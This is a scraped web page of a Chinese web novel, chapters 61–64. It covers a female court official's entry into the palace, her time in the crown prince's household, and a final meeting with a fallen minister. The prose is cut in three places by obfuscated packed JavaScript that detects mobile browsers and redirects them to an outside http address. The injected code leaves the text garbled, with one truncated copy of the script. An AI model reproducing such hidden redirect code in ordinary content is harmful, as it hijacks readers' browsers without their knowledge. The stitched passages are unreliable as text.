她说完，头靠在他臂膀处，来回蹭了蹭，寻到一处舒服的位置，香甜睡去。 卫枢默在原地，一动不动，目色幽深。 61. 入宫 清晨，晓起寒露。 宫钟响鸣，沉郁的钟声穿过层叠的宫檐，厚重的宫门，一下一下锤打着任知宜的心口。 前方引路的宫人习惯弓身走路，整个后背弯得像一张老旧的弓，拉也拉不动。 任知宜深呼吸，吐出半口浊气，挺了挺脊背，随宫人脚步，迈入宫门。 自今日起，这座宫城便是她要生活的地方。 在这里，汉白玉壁折射的光耀目，明亮，却永远照不进阴冷、逼仄的宫巷。 转身前，她回望刚刚走过的文华门，高大的铜门遮住薄薄的晨曦，在青石板路上投射出一道巨大的阴影。 ———— 进宫之后，任知宜先是入坤荣殿拜见郑皇后。 郑皇后坐于软榻上，轻声道：“给任待诏赐座，除了李嬷嬷，其他人都退下。” “谢娘娘。” 郑皇后眼下微微泛青，像是昨夜没有睡好，“你帮着太子重挫郑家，立下功劳，只不过，愚弄本宫之罪该怎么算？” “微臣不敢。”任知宜躬身，“臣为引东宫敌手入局，万不得已作出假象。娘娘□□，当早已洞悉实情。” “呵……”，郑皇后凉凉地看她一眼。 任知宜面色不改，“娘娘，安王羽翼渐丰，世家之势绝不可姑息。没有这一次，也会有下一次。” 郑皇后摩挲着腕间珠串，“昨夜，太子为你说尽好话。本宫也知道，之前你的所作所为是与太子商议好的，不过本宫依旧不喜欢你。” “臣知晓。”任知宜维持着姿仪，面色平澜，“娘娘觉得，臣行事失之稳妥，常于险中求胜，数次令殿下置于危崖险地，还令东宫得罪不少人。” “既然知道，还明知故犯？”一抹冷意自郑皇后眼中划过，“太子是大胤储君，皇室正统，终有一日会继承大位。若非你节外生枝，令太子立于风口浪尖处，原本属于太子的一切都不会改变。” “娘娘，今时已不同往日。” 郑皇后心口一刺，怒意陡生，“你在提醒本宫失却圣心？” “臣不敢。”任知宜躬身施礼，“臣之前查到，柳州郑家前往临州，买下大片的田产和山庄。” 临州是庆嫔的家，也是此次皇帝微服出巡之地。 郑皇后圆脸紧绷，“为了夺位，贤贵妃的手都伸到庆嫔那里了？当年，这母子俩装着一副温和良善的模样，日日来坤荣殿陪伴本宫。本宫念着同姓之好，也真心动过亲自抚养安王的心思，想要扶他为太子。没料到，引来的不是驯鹿，而是豺狼。” 她抚着胸口，怒不可遏，“还有那个庆嫔！她居然敢投靠贤贵妃。陛下与本宫是患难之中一路扶持过来的夫妻……岂是她搔首弄姿，三言两语就能离间的？愚不可及！” 话虽说得狠，声音却是中气不足，断断续续。 任知宜望向郑皇后，原本圆润的脸庞现出尖尖的下巴，神情憔悴，不复初见时的雍容丰润，华贵端庄。 皇宫着实是个磋磨人的地方。 一阵风自窗隙间钻入，吹得任知宜后背微凉。 她轻轻颔首，“娘娘，柳德已上表朝廷，提前致仕。依附于柳德的势力会渐渐崩解，朝中已有多位官员联系微臣，表达出效力东宫之愿。世家之势结党日久，如附骨之疽；若一味退让，将来更难以撼动。” 郑皇后静静听着。 任知宜继续道：“殿下胸怀四野，论心智才干，无人能及。前路该如何走下去，殿下自己心知肚明。” 郑皇后目有所动，以不确定的口气道：“太子过于锋芒毕露，恐失圣心。” “娘娘以为，若殿下安分守己地做个储君，一切便能风平浪静？” 一道不确定的声音在郑皇后心底响起，久久不散。 太子失踪多年，在朝中没有半点根基，贤贵妃、柳德这些人的背后承载着世家的野心，他们一直蛰伏于暗处，一旦被他们寻得机会，只要轻轻一推，太子便会从云端跌落。 单靠皇帝的顾念，尚且已经无法保证；更何况，皇帝数月不来坤荣殿，帝后之间的信任早已不复从前。 任知宜见皇后心念有所摇动，继续循循而导，“数次交锋，东宫从未立于败局，娘娘何须忧心？” 郑皇后抬眼望向任知宜。 她不卑不亢，眼神坚定，一身绯色官服衬得她身姿卓然，运筹帷幄，气度从容，不输当朝任何一位重臣。 郑皇后突然开口，“任待诏，鼎州刺史厉谦义调任京都，是你安排的？” 任知宜身子一顿，颔首应道：“是。” 厉谦义的母亲是郑皇后的亲姐，他算是太子的表兄。当年，郑皇后入主中宫之时，郑家还是京城的清贵名流，只不过后来郑家在叛乱中离散身死，渐渐没落。 郑皇后神色微妙，似叹似怅地望了她一眼，“太子一向不愿亲近本宫母家，你如此作为，不怕太子怪你？” “正所谓举贤不避亲。厉刺史为人通达，勤勉务实，在吏部的考绩年年都是上等，实在不该让良才被埋没。更何况，厉刺史不但是位难得的人才，还是太子的表兄，无论如何都不会对东宫不利。” “这件事，太子赞成？” 任知宜恭敬回道：“殿下并无异议。” 郑皇后点了点头，神色稍缓。 “真到了用人的时候，还是自家表兄最能信得过。连徐志这等才干如今都做到刑部侍郎，谦义调入京都，必能助东宫一臂之力。” “是，微臣明白。” 说了一会儿话，郑皇后掩面微欠，声音透出几分惫意，“任待诏初入宫中，也该先休整一番。你既是东宫肱骨之臣，日后当尽心辅佐太子。内府那边，若无紧要之事，无须理会。” 后宫之中，女官、内侍和宫女皆统一归于内府管理，女官虽然特殊，但是若内府中人刻意使绊，也难免生出些麻烦。 “微臣谨遵皇后娘娘教诲。” ———— 从坤荣殿出来，任知宜仰望晴空，脚步渐缓。 今晨醒来，宿醉后的头痛绵延，提醒着她昨夜发生过的事情。宝珠口无遮拦，说她昨夜酒醉不醒，是太子将她抱回来的。 众人听见，纷纷好奇心大起，轮番上阵逼问，直问得任知宜面赤耳热。为躲避众人，她匆匆咽了几口饭，穿上官服，立刻进了宫。 在坤荣殿与皇后交谈尚能自若，此刻行至东宫门前，反而心生情怯。 大宫女雀琴见到她，笑着迎了上来。 “殿下一早就让奴婢在这里侯着，算算时辰，您也该来了。” 任知宜与她相携入宫，一路闲聊。 “殿下如今在何处？” “正在书阁等任待诏。” 任知宜欲言又止，沉吟片刻问道：“殿下今日……与以往可有不同？” 雀琴微怔，“除了早膳用的略少些，并无什么特别之处。” 说完，她突然想起之前，神情颇紧张地问道：“任待诏，又出什么事了吗？” 任知宜摇头笑笑。 或许是她想得太多，庸人自扰。 她一向不爱纠结，既然昨日醉酒纵情已成事实，不如顺其自然。 ———— 书案前，卫枢执笔挥毫，笔下墨字飘逸，形神俊秀。 “殿下。” “知宜，你来了。” 他执笔不停，未曾抬头，声音温和清淡，平静如昔。 任知宜暗暗松了口气，却听他突然问，“昨夜睡得可好？” 她嘴唇微张，眼睫颤动。 宣纸上，最后一个墨字写完，卫枢放下笔，静静地望着她，唇角含着笑意。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127540|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容温和过甚，好似蕴含深意。 任知宜瞧着刺目，于是挑了挑眉，朗声回道：“回禀殿下，微臣昨夜做了一个梦，梦里有个人欺瞒了微臣，被臣狠狠地踹了几脚，踹完之后，身舒体畅，一夜好眠。” 卫枢摸着鼻骨，咳了两声。 他本想问她，她昨夜最后说的那句醉话究竟是何意，可看她的模样，似乎并不记得了。 接下来，二人很有默契地没有再提起前一夜的事。 卫枢问道：“母后没有为难你吧？” “不曾。殿下，厉谦义调入京都，不知殿下想推荐他什么职位？” 卫枢移开镇纸，将刚写好的书作卷成轴。 “此事你来定吧。” 任知宜轻声道：“去工部如何？” 卫枢手下动作一顿，“孤记得，兵部尚有一个空缺。” 任知宜不以为意，“兵部有安王在，厉谦义初入京城，不宜过于招摇，工部今年有几个大工事，与民生息息相关，他作风务实，正适合此任。” 这番话说得自然不错，不过除了这个理由之外，她心中还另有打算。近日传言，景相有意将景随调入兵部，与安王共事，听闻景随自己也是愿意的。任知宜心知，未来若对郓国用兵，无论马匹，粮草，衣物皆要经手兵部，若可以，最好能在兵部中安插一个“自己人”。 太子对郓国的态度尚不明朗。 对于她来说，兵部这个人选，选景随自然比选厉谦义来得好。 卫枢敛唇，未再多说什么。 任知宜想起一事，问道：“臣听说，华济寺的弘忍法师闭关清修，殿下为何没有抓他入大理寺？” 卫枢不答反问，“你何时察觉弘忍法师有问题？” 任知宜道：“多亏殿下派去监视柳府的暗卫机灵，发现柳德的侄子悄悄潜入安州，见了一个书生。臣心觉蹊跷，费了一番功夫查探到这书生的底细。弘忍法师未出家之前曾与他的亡母有过一段情缘，这个书生极有可能是弘忍法师的私生子。 “柳德以弘忍法师的儿子作为要挟，令他将桐木人偶放于盒内夹层中，殿下与法师相识多年，自是不会防备。此计虽然算不得高明，却很有效。”任知宜问道：“殿下不抓弘忍法师，是打算放过他？” 卫枢叹息，“法师当年在云门镇为百姓施医送药，千里奔走，还救了孤一命，只可惜即使参透再多的佛理，依然摆脱不了亲缘桎梏。 孤留他一命，算是偿他人情，加之云门镇的案子还需要他帮忙找人。 任知宜点点头。 卫枢道：“前朝因为巫蛊之祸闹得民心浮动，所以朝中默许柳德这案子不以巫蛊结案，柳德会平安致仕还乡。这件事，孤也同意了。” “便宜他了。”任知宜轻哼。 卫枢走到书阁最里面，踩着书梯上去，将最上面的一摞书拿下来。 任知宜定睛一看。 厚厚的一摞，有《朝野佥载》、《神异志录》、《游侠传》，全是些地方志和志怪奇闻录。 “孤知道你喜欢读这类书，就令内府搜罗了一些，你看看喜不喜欢？” 任知宜觉得口舌微干，抿了抿唇，“让殿下费心了。” “你喜欢就好。东宫静谧，宫人行事拘谨，孤怕你不习惯宫里的日子，呆久了会觉得无聊。这些书，权当打发时间。”卫枢笑得温和，“再有别的想看的书，向内府知会一声即可。” “知宜明白。” “日后，你住在西卧，与孤的寝卧离得不远，生活上的一应物品若有缺的，就找雀琴。” 任知宜蹙眉问道：“臣每日要做什么？” 卫枢淡淡道：“读书，饮茶，临摹书画，孤这几日就是这么过来的。偷得浮生半日闲，不好吗？” 任知宜张了张嘴，怔忡地望着卫枢。 62. 做膳 住在东宫的日子极闲适。 夜里，任知宜常百无聊赖，坐于窗前赏景。 从她寝卧的窗望出去，恰好能看到东宫的一处小池，里面养了六只龟，夜里月明时，她偶尔能看到小龟趴在石头上翻身。 龟壳呈白色，带着粗细不均的黑条纹，月光落在上面，照出粼粼水光。听说龟有三十年寿命，却日日被人豢养在这小池水中，每日望着日出月落，斗转星移，或许只有夜深人静之时，翻个身才是它唯一的乐趣。 这一日，夜里转凉。 任知宜在睡梦中，听到窗外传来一阵声音。 她起身打开窗棂，向外一看，原来是一只小龟不知怎地爬出了池塘，趴在窗台上。它的脚受了伤，正在低声哀嚎。 “咕噜咕噜……” 任知宜学小龟叫，想要吸引它的注意，它却像是受到惊吓，从窗台上一头栽了下去。 落地的小龟四脚仰天，挣扎着想翻过身来，却总是失败；反复试了几次，它终于筋疲力尽，恹恹地将头缩回壳中。 任知宜心生不忍，去到殿外将它捡了回来，将伤口清理干净，又寻了些伤药给它上药包扎。 一番折腾下来，为了救这只小龟，可能是不小心过了冷风，任知宜夜里发起热来。 她昏昏沉沉地睡到天光大亮，喉咙干痒难耐，下床猛灌了两杯茶水，方觉得舒服些。 寝卧里燃着炭火，暖融融的，日光从四面紧闭的窗格漏进来，门外落着厚厚的棉帘，挡得密不透风。 雀琴走进来，见她下床，骇了一跳，忙不迭将裘袄披到她身上，“怎地不在床上裹着？现在正风寒呢，这时候下地可不行。” 她递上药碗，“待诏把这药喝下去，很快就能好。” 刚熬好的药汁，黑稠稠的一大碗，隔着老远便能闻到一股令人作呕的苦味。 任知宜面露难色，连忙推拒。 上一次她骤然发热，宝珠吓得不轻，每□□她喝李太医开的药，喝了整整半个月。喝到最后，她只要一闻到那股药味，胸中就不住地翻涌想吐。 她哑着嗓子解释，“今晨发过一次汗，应是没有大碍了。” 此时，外面传来卫枢的声音。 任知宜吩咐雀琴请殿下在外面稍等，她梳整一下就出去见他。 未承想，刚来得及梳了个头，有人已毫不避讳，掀帘而入。 任知宜慌忙拢了拢松散的襟领，语带责怪，“殿下。” 卫枢一怔，立刻退了出去。 目之所及，任知宜仅着一件厚中衣，未着粉黛，长发披肩，应是刚刚醒来。 卫枢脸微微发热，隔着门帘问道：“听说你不愿喝药。” “臣清楚自己的身体，没什么大碍，将养两日就能好。”任知宜迅速穿好常衣，掀开门帘，请他进来。 卫枢打量着她，病了一日，小脸变得苍白清瘦，声音听起来也像破锣一般。 他眉头紧拧，“莫要使性子。风寒可大可小，这药至少要喝上七天。” 任知宜嫌恶摇头。 这般模样落在卫枢眼中，令他微微失神，想起那一夜任知宜醉酒的样子。那夜，她变着法子折腾，明明是她非要靠倒在他肩上睡，却嫌弃他骨头硌人，换了百般的姿势，都不满意；后来，她翘着嘴，说他表情冷漠，逼着他笑给她看，笑得不够明朗便要重来。 他被折腾了整整一夜，她却似乎什么都不记得了。 难道只有醉酒和生病时，她才会变得任性肆意？ 卫枢犹豫半晌，试着学那夜哄她的样子，柔声道：“你乖乖喝药，有什么要求，孤都答应你。” “…………” 任知宜僵在原地。 这声音缱绻温柔到极致，像是情人间的呢喃。 ……卫枢这是在哄她？ 卫枢继续道：“这药不能凉，要按时喝，不要讳疾忌医。” 他接过药碗，试了试温度，顺势送到她嘴边。 任知宜继续石化着。 卫枢一向冷静淡漠，知礼持重，何时用过这种口气与她说话？但是，为什么她却觉得这过分温柔的笑有几分熟稔，好似在哪里见过。 她不记得那夜酒醉，卫枢就是这般哄着，喂着，让她一口一口地喝下整碗的梨汤。 做起这件事，卫枢已是驾轻就熟。 卫枢搅匀药汁，将汤匙递到她唇边，“来，张口。” 她茫然无措，昏沉的脑袋像裹满了糊糊，下意识地低头抿了一口，苦胆一般的药汁瞬间溢满口唇，直冲灵台，刺激地她一下子清醒过来。 “臣，臣……劳殿下关怀，臣自己可以。”任知宜回过神来，慌忙向后躲避，手肘撞在交椅背上，疼得她“啊”了一声。 卫枢后知后觉，端碗的手僵了片刻，缓缓地收了回来。 他握拳轻咳，掩去眉间赧色。 “咳咳……你自己喝吧。” 任知宜强忍着呕意，将药汁喝了个干干净净。 “臣喝完了。”她小脸微红，巴不得卫枢尽快离开。 卫枢沉默片刻，“你好好休息吧，孤午后再来看你。” ———— 东宫膳房宽阔通透，灶台居中，内嵌四口铁镬，两架陶鬲。 两侧各五尺长木案，柜内置簠簋皿碟，杯盏盅卮。举头望去，横梁高悬，挂着风干的肉肠和腌鱼；左侧是新鲜的蔬菜瓜果，右侧摆放着糖、盐、蜜、梅子、花椒等。木柴被扎成一捆捆，和其他杂物整齐地堆放在墙角。 李御厨和三个小内厨役站在一侧，额头冒汗，手脚局促。 东宫主子少，太子温和喜静，极少挑剔膳食，连召见都没有过，今日却突然踏入膳房。他们战战兢兢，唯恐是做错了什么事，要被发落。 卫枢绕着膳房转了两圈，指着一旁的梅子，“这梅子是何时来的？” 李御厨忙禀：“昨日刚到的生梅子，用盐浸过了。” 卫枢点点头，“你去准备一些做梅子姜和萝卜糕的用材。” 李御厨不解，惶惶问道：“殿下是想要吃？” “孤要亲自做。”卫枢淡淡应道。 膳房俱是一惊。 “使不得！使不得！”孙公公大惊失色，“殿下千金之体，如何能进庖厨？殿下若想吃，吩咐李御厨做就好，怎能纡尊降贵做这等低贱事情？” 卫枢淡淡道：“古人说，民以食为天，何来低贱之说？” “可您是太子。”孙公公嗫嚅道。 卫枢微微蹙眉，“孤在宫外，曾有一段时间以卖梅子饯为生，生意一直不错。” 此话一出，整个膳房都沉默了，孙公公再不敢作声。 梅子饯是大胤民间最常见的蜜饯，酸甜适口，解腻生津，甚得平民百姓喜欢。 不一会儿，卫枢更衣回来，换了一身轻便的窄袖劲袍，站在案台前，起灶生火，动作极其利落。 水滚，卫枢将准备好的新鲜蜂蜜放入坛中，小火熬制，直至熬成黏稠的蜜浆，再将腌渍好的梅子裹入其中，盛出后以冰水隔坛冷却。 待蜜浆凉后，再一次放入坛中熬煮，冰水冷却。 如此这般，反复了四次。 李御厨见之，暗暗纳罕，如此做法自然可以令蜜浆充分渗透进入梅子中，只是极其耗时耗力，即便是他，最多也只重复三次而已。 待准备做萝卜糕时，卫枢轻声道：“孤是第一次做萝卜糕，还得请李御厨从旁指点。” 李御厨受宠若惊，慌忙道：“殿下言重。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127541|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说起做菜的事儿，李御厨的腰板儿微微直了些，“做萝卜糕，重点在于萝卜。萝卜细白嫩滑的反倒不好，须得挑那粗圆肥壮的，做出来才美味。” 一边说着，一边从白萝卜堆里拣了两根肥硕的出来。 李御厨继续道：“萝卜生则臭，熟则甘，所以要先刨丝，再行汆煮，滤水之后方可用。” 卫枢不让李御厨帮手，“孤自己试试，你在一旁看着就好。” 木案之上摆好鲜肉，他手起刀落，快如光影，不过片刻，切成大小均匀的肉丁；接着长勺一握，翻炒起来，三两油星点子落在袍上，卫枢浑然不觉。 大火一起，油烟愈浓。 李御厨和几个膳房宫人担心烟气呛到太子，拼命挥舞着蒲扇，“殿下，这里浓烟大，后续还是由臣处理吧。” “不用。”卫枢不以为然，“道虽学，不行不至。孤亲手做一遍，方能真正领会。” 半个时辰，木甑下鬲，萝卜糕做成。 放于一旁的梅子也已浸透蜜浆，青色之中带金灿，青梅子的香气四溢，闻之清甜。 萝卜糕色泽纯白，鲜味扑鼻。 卫枢尝了一口，感觉软糯有余，劲道不足。 他细细思量刚才的每一个步骤，猜测可能是水粉混合之时，加的水量稍多。 李御厨慌忙上前，“殿下第一次尝试，能做出如此品相已是极为难得。况且，萝卜糕这种东西，各人口味不同，有人就是偏爱软糯的口感。千人千味，各有所好。” 卫枢以巾拭手，吩咐宫人，“将梅子饯送去任待诏的房间，萝卜糕就分给宫人吃了吧。” ———— 日落时分。 任知宜闻见那股熟悉的药味，悄悄地将衾被拉过头顶，假作熟睡。 雀琴走进来，“您不用装了，奴婢都瞧见了。这药肯定是要吃的。” 任知宜认命地坐起身，闭着眼睛猛灌一口。 药刚入喉，冷不丁又被人喂了一颗梅子进口，酸酸甜甜的青梅味道瞬间压制住药的辛涩之味，甜香可口，轻轻一咬即化于齿颊。 任知宜睁开眼睛，瞧见药碗旁边放着一盘梅子饯。 自己之前吃的梅子饯表皮甜，内里酸，远不如这个，从里到外清甜软黏，将药味全然盖了下去，还勾起些许食欲。 “雀琴，我有些饿了。” “早就备好了。”雀琴面露喜色，忙叫外面侯着的宫人进来，将清淡小菜和粥摆了一桌。 这两日一直没什么胃口，任知宜几乎未尽过食，看着眼前的食物，一时不知该先吃哪个才好。 雀琴暗觑她一眼，将一盘萝卜糕移至离她最近的位置，“待诏喜不喜欢吃这个？” 任知宜望着萝卜糕，笑了笑，“真没想到，京城这边也吃萝卜糕，这恰好是我最爱吃的。” 说着，她伸箸夹了一口，赞叹道：“肉腻糕软，东宫御厨的厨艺真是不错。” 雀琴笑笑，“这哪里是李御厨的手艺，这是殿下亲自为待诏您做的。” 任知宜一怔，执箸的手停在半空中。 雀琴又道：“不只是这萝卜糕，还有那份梅子饯，都是殿下亲自做的。今日午后，殿下在膳房足足忙了三个时辰。据说这萝卜糕殿下还是第一次做，做出来之后觉得不够好，怕您不喜欢便赏给膳房的宫人了。他们哪敢吃殿下亲手做的东西，又拜托奴婢给您端来试试。幸好，您喜欢吃这道萝卜糕，没有枉费殿下的心意。” …… 雀琴走后，任知宜坐在榻上，漫不经心地瞧着那只被她救活的小龟。 小龟已恢复些生气，正缩着脑袋，慢慢吞吞地爬着。 任知宜将它放在掌心里捧着，喃喃问道：“小龟，你说他是不是喜欢我？” 63. 对弈 转眼间，半月倏忽而过。 一夜北风，枯叶遍地，兆京城恍恍惚惚地跨入冬日萧瑟。 东宫之中，却是难得的静好。 雀琴添上茶，悄无声息地退下，唯恐惊扰了案几旁对弈的二人。 茶气氤氲而升，如烟似雾，绕于棋盘之上。 “你确定要落子于此？” 棋盘上，黑白分明，黑子只守不攻，已成被围之势，渐落下风。 卫枢指捻黑子，深思不决。 任知宜望着他一脸凝重的模样，顿觉周身畅快。这几日与卫枢对弈十八局，九胜九负，今日才算压他一头。 “孤尚未输。” 黑子落下，卫枢笑得云淡风轻。 此棋下得妙，转眼逃出一片生天。 不过，终究是强弩之末。 任知知宜莞尔一笑，“明知是败局，殿下何必苦撑？” 卫枢不以为然，“昨日，同样的问题，孤也问过你。” 任知宜哑然。 昨日一局，被卫枢杀到惨败告终。中途她亦未认输，即便终是败局，也断不能让对手安宁。 半个月来，卫枢不理外事，二人晨起于书阁读书作画，午时厨房做膳，过了晌午则对弈品茗，日子过得宁静惬意。 东宫之外并非风平浪静，朝堂风云，人事变幻，一如既往，卫枢似乎有意将东宫隔绝，每日只找她喜欢的事情陪她。 她含笑落下一子。 他这些时日的举动她都看在眼里，时间长了，她自己心里清楚，心中的怨气已经渐渐消散。冷静下来想想，除了不够信任她之外，卫枢倒也没做错什么。当时的确不是与安州王决裂的时机，更何况，这件事背后的真正原因他们还没有查清楚。 白子一落，败局已定。 任知宜舒一口长气，粲然笑道：“殿下承让。” 她知晓卫枢已尽全力，并未刻意谦让。 棋逢对手，本就是人生一大快事，若是相让，便失了对弈的乐趣。 卫枢握拳轻咳，缓缓道：“你棋风凌厉，若遇老成之人，初始占不了先机，后面恐难翻盘。” 这段时日，二人朝夕相处，少了诸多顾忌，任知宜得以更熟悉卫枢。 此刻他眉峰微压，看似从容淡笑，实则不然。 她望着他的眼神多了几分微妙。 卫枢不明，指尖抚上脸颊，“孤面上有脏污？” 任知宜笑道：“世人皆说殿下清风朗月，心境淡泊，不为外物所动，没想到会为区区一盘棋局失了寸心，不愿承认自己输了。” 卫枢一怔。 当年，义父曾说过，他其实是一个得失心极重之人，只是善于隐藏；义父还提醒他，执念太深，于己于人皆不是好事。 他不是在意一盘棋局的输赢，而是希望在任知宜面前展现最好的一面。 “见笑。”卫枢摇头失笑，“是孤技不如人。” 此时，孙公公站在门前徘徊不前，不知该不该进去。 “何事？” 屋内的声音让孙公公回过神来，他进内禀道：“柳大人着人送了一封信到女史家中。” 任知宜展信。 “是柳德。”她将信笺递给卫枢，“他约我明日在凌云楼一见。” 卫枢眸色深浓。 “听闻陛下御笔朱批，同意柳德辞官返乡，封龙集殿大学士，赐全俸，恩及三代。” 卫枢点点头，“政事堂一致赞同，中书省连夜行了公文，邸报之上亦有记录。” 柳德致仕，已是无疑。 “他此番远离朝堂，曾经的门生故旧会如何？” 卫枢端起茶盏，抿了一口，“柳德离开，他们接着投了景相。” 他又道：“柳德此番颓败，心中最恨之人就是你。他临走之前，还要见你一面，孤担心他会对你不利。” 任知宜原本也是作此想，奈何柳德对她知之甚深，特意在信中提到，若她能赴约，愿以“薄礼相赠”。 “我让林四哥跟着，光天化日之下，谅他也不敢做什么。” 任知宜定下主意。 卫枢劝不过她，待到夜里，又去暗卫营亲自挑了两名暗卫。 ———— 凌云楼内，倚窗而望，禹山添了几分寂寥之色。 长空苍茫，群雁南飞。 同样的雅间，紫檀黑漆木案上放着青花缠枝耳壶，馥安茗茶香气四溢。 此情此景，不由让人想起数月前二人相见。 “柳大人，虚礼不必。” 任知宜望着眼前推过来的白玉茶盏，淡淡道。 柳德身着褐色布衣，背微微有些佝偻，双目黯淡，脸颊凹瘦下去，显得额尖更窄。 “任知宜，老夫栽了！” 柳德声音苍凉，带着几分不甘。 “柳大人，世家把控地方实权，攫取朝廷税赋，你甘心为虎作伥，终究不能长久。” “呵呵呵……”，柳德笑得狂放，“成王败寇！老夫若不是将宝押在安王身上，今日轮得到你一个小小女子来教训老夫？” 任知宜不以为然，“太子是储君，为人清正，得道者自然多助。” 柳德双目圆瞠，恨恨道：“老夫不懂，你到底是何时与太子设下此局？难道离京救父，与太子不和，都是假的？” “事已至此，柳大人何必耿耿于怀。” 柳德长叹一口气，“在你看来，老夫一败涂地，却还存争胜之心，委实可笑了些。” 任知宜微微蹙眉，心下逸出一声喟叹。 沉吟半晌，缓缓道：“我与殿下不和是真，离京救父九死一生是真，甚至……我倾慕太子也是真。” 柳德目露惊讶，听她继续道，“大人唯一料错的是——看轻了我。” “大人以为女子重情爱，轻大义，料定我是因为倾慕太子才舍命襄助，自然也会因为嫉妒之心而去破坏太子的姻缘，作出不利东宫之事。” 任知宜轻晃茶盏，悠然笑道：“你看轻了我，亦看轻了天下女子。” 柳德默然。 任知宜道：“言尽于此，算是感谢你为我父亲升任刺史之事尽力。” 转身欲走。 “等等！” 柳德沉声道：“任姑娘忘了？老夫说过，还有薄礼相赠。” 任知宜停住脚步。 “您的薄礼，不是白送的吧。”任知宜薄唇轻动。 柳德先讲条件，“老夫有一亲侄，名唤柳常，我希望东宫助他成为礼部员外郎，并且无论何时何地，保住他的性命。” 致仕之前，柳德最后一次为子侄铺路，明路上自然是无碍，怕只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127542|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人插手。 “柳大人为何不寻景相庇护？”任知宜冷笑。 柳德面容一僵。 任知宜冷笑，他这番舍近求远，该是料想到景相不但不会襄助，反而会坏他好事。柳德陷害太子欲挣从龙之功，就是想要越过景相，做朝中的第一人。景相在朝多年，这等心思焉能看不出来。 柳德道：“老夫这个侄子为人胆怯，资质平庸，难堪大任，不会对太子构成任何威胁，只是给我柳家留个人在朝中。” “若任姑娘答应，老夫便将江南三道与世家有牵连的官员名单送给姑娘。” 任知宜闻言一愕，神色微凝。 “柳大人此举何意？” 柳德冷哼一笑，“难道太子没有将世家连根拔起之意？” 任知宜冷冷提醒道：“郑檀早已灰溜溜地离开京城。” “哈哈……”，柳德笑罢，轻轻吹着茶盏内的热气，“郑家的根基本就不在京城，而在江南三道九州。” “老夫任户部尚书整整一十四年，对大胤国库了如指掌。太子以为，可以利用郑韩两家的矛盾分化世家，重夺财税之权。他想得太简单了。江南三道的官员不会让韩家顺利接手，一旦财税骤减，国库空虚，大胤朝局危矣。” 任知宜拧眉，“不要危言耸听。” 柳德大笑，“是不是危言耸听，姑娘心知肚明。姑娘只说，要不要与我做这桩买卖？” 任知宜沉默半晌，举杯饮掉。 柳德心知她是答应了，食指朝案上一敲，“这家凌云楼送予姑娘一半。” 任知宜挑眉。 柳德叹道：“凌云楼能成为京城第一楼，靠得是老夫的权势，今后凌云楼失去依恃，必做不长久，不如送给姑娘做个顺水人情。” 任知宜心内思忖，人都走了，还想着借东宫之势为他的侄子牟利。 “好啊。” 柳德将凌云楼掌柜叫进来，嘱咐了一番。 任知宜冷眼旁观，“我接手之后，会换掉凌云楼的掌柜和其他人。” “姑娘随意。”柳德不咸不淡道。 “那就多谢柳大人。” 买卖谈完，无话好说。 临走前，任知宜随意道：“祝柳大人此行安稳顺遂，就此远离纷争。” 柳德并不领情，皮笑肉不笑地哼了一声，“你与太子鼠目寸光，非要与安州王结盟，此人狼子野心，将来必成大患。老夫再怎么党争伐异，也绝不会谋逆朝廷，可是何卢呢？终有一日，你们会自食其果。” 说着说着，柳德面上浮出几缕阴狠的笑容。 此时，任知宜对他已是厌烦至极，“我收回刚才的话，以柳大人这种心态，恐怕此生都过不上安稳顺遂的生活。” 柳德啜了口茶，问道：“你尝这茶如何？” 任知宜蹙眉，不明所以。 “馥安茗茶一两三金，靠官家的俸禄能喝上一两三金的茶？” 任知宜道：“你想说什么？” “有人的地方就有欲望，有权力的地方就有利益。老夫喝惯了馥安茗茶，若有一日让老夫回乡去喝那粗茶，你以为老夫会欣然接受？换句话说，这世道本就不存在清明盛世。 老夫想要安稳顺遂，更想活得久一点，看你们终将大胤带到何处？” 茶气升腾，袅袅如烟。 64. 打千 这一日，皇帝身边的大总管胡公公来东宫传旨。 “彦月公主不日抵达京城，着令东宫待诏任知宜随鸿胪寺处理一应事宜，务必谨行彰怀，显大胤泱泱风度，不得有失。” “臣领命。” 任知宜接下谕旨，立刻吩咐人上茶，“这几日入冬，还要劳累胡总管辛苦跑一趟，喝杯热茶再走吧。” 胡公公拂尘一甩，姿态微低，“待诏客气了，传旨是奴才分内之事。此次应国彦月公主出使我朝，陛下极为重视，请待诏务必谨慎行事，不要出什么岔子才好。” “知宜明白，多谢公公提点。”任知宜含笑：“兹事体大，蒙陛下信任，知宜微感惶恐，不知该如何是好了。” 胡公公笑道：“待诏过谦了，陛下常赞您心思玲珑，加上公主毕竟是个女儿家，陛下怕鸿胪寺的人照顾不周，由待诏女官接迎也更加妥当一些。” 胡公公走后，任知宜问宫人，“殿下此刻人在何处？” 